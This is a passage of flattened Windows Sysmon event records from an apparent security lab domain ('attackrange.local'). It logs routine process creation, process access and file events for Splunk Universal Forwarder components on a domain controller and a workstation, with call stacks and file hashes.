Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000038508Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:19.550{7BD73061-6F07-613B-2507-00000000F001}580C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000038507Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:19.174{7BD73061-6F06-613B-2407-00000000F001}39442128C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000038506Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:19.174{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=169FBAEBD76C83C312E9F967572261BB,SHA256=F1DB72F0DC3FD5EC1B50C8D63211D6AF0BC934BCE1384C78C991F0BFF0D0F0BD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038505Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:19.038{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B09C1E88E473D54E83D60BDAF34BCD8A,SHA256=704E37E822C845838BAF7274750A2C21C7D09BE2CF6334F0359B8DD9619CAB5B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038536Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:20.815{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6F08-613B-2707-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038535Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:20.815{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038534Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:20.815{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038533Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:20.815{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038532Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:20.815{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038531Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:20.815{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F08-613B-2707-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038530Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:20.815{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6F08-613B-2707-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000038529Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:20.816{7BD73061-6F08-613B-2707-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000038528Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:20.377{7BD73061-6F08-613B-2607-00000000F001}63086824C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038527Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:20.221{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6F08-613B-2607-00000000F001}6308C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038526Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:20.221{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F08-613B-2607-00000000F001}6308C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038525Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:20.221{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038524Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:20.221{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038523Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:20.221{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038522Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:20.221{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038521Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:20.221{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6F08-613B-2607-00000000F001}6308C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000038520Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:20.222{7BD73061-6F08-613B-2607-00000000F001}6308C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000038519Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:20.205{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=53DF3C280ECFA4473EADCEBE50E8E4D4,SHA256=C11F8DCECB77396F7E44AF719C75CFDEDE39F9105F89F879B5E2D5F3002933DC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038518Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:20.049{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DD91B8B34385C9AC40F88EBB8E6370AC,SHA256=F449EB49A699FFDEB3E7CC1E0917C8FD5460D913F80888E78BD7A62D37128337,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013640Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:20.186{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A222E87C2D624D33E861D13658CFE1BE,SHA256=33DF47708AB620D180E53C49507B324D6D767BC13D0A72F8C1049D744B45FBD2,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038548Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:21.455{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6F09-613B-2807-00000000F001}5772C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038547Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:21.455{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038546Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:21.455{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038545Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:21.455{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038544Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:21.455{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038543Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:21.455{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F09-613B-2807-00000000F001}5772C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038542Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:21.455{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6F09-613B-2807-00000000F001}5772C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program 